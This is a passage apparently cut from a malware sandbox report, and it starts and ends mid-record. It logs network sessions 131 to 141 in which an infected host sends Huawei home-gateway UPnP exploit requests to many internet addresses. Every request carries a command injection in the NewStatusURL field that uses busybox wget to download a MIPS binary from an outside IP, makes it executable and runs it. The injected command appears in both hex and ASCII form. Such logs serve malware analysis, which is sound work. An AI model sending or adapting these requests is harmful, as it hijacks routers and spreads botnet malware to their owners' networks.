xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	39288	197.28.236.190	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.856683016 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	41428	41.118.107.113	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.857268095 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	46716	197.21.86.41	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.858381033 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	34430	156.127.13.240	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.858990908 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	58986	197.120.27.107	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.859540939 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	33986	156.47.233.200	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.860121965 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	37612	197.3.73.65	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.860671043 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	34144	156.42.173.143	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.861203909 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	46372	156.225.40.131	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.861741066 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	56056	197.81.131.1	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.862255096 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	51038	197.170.158.13	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:16:50.862790108 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 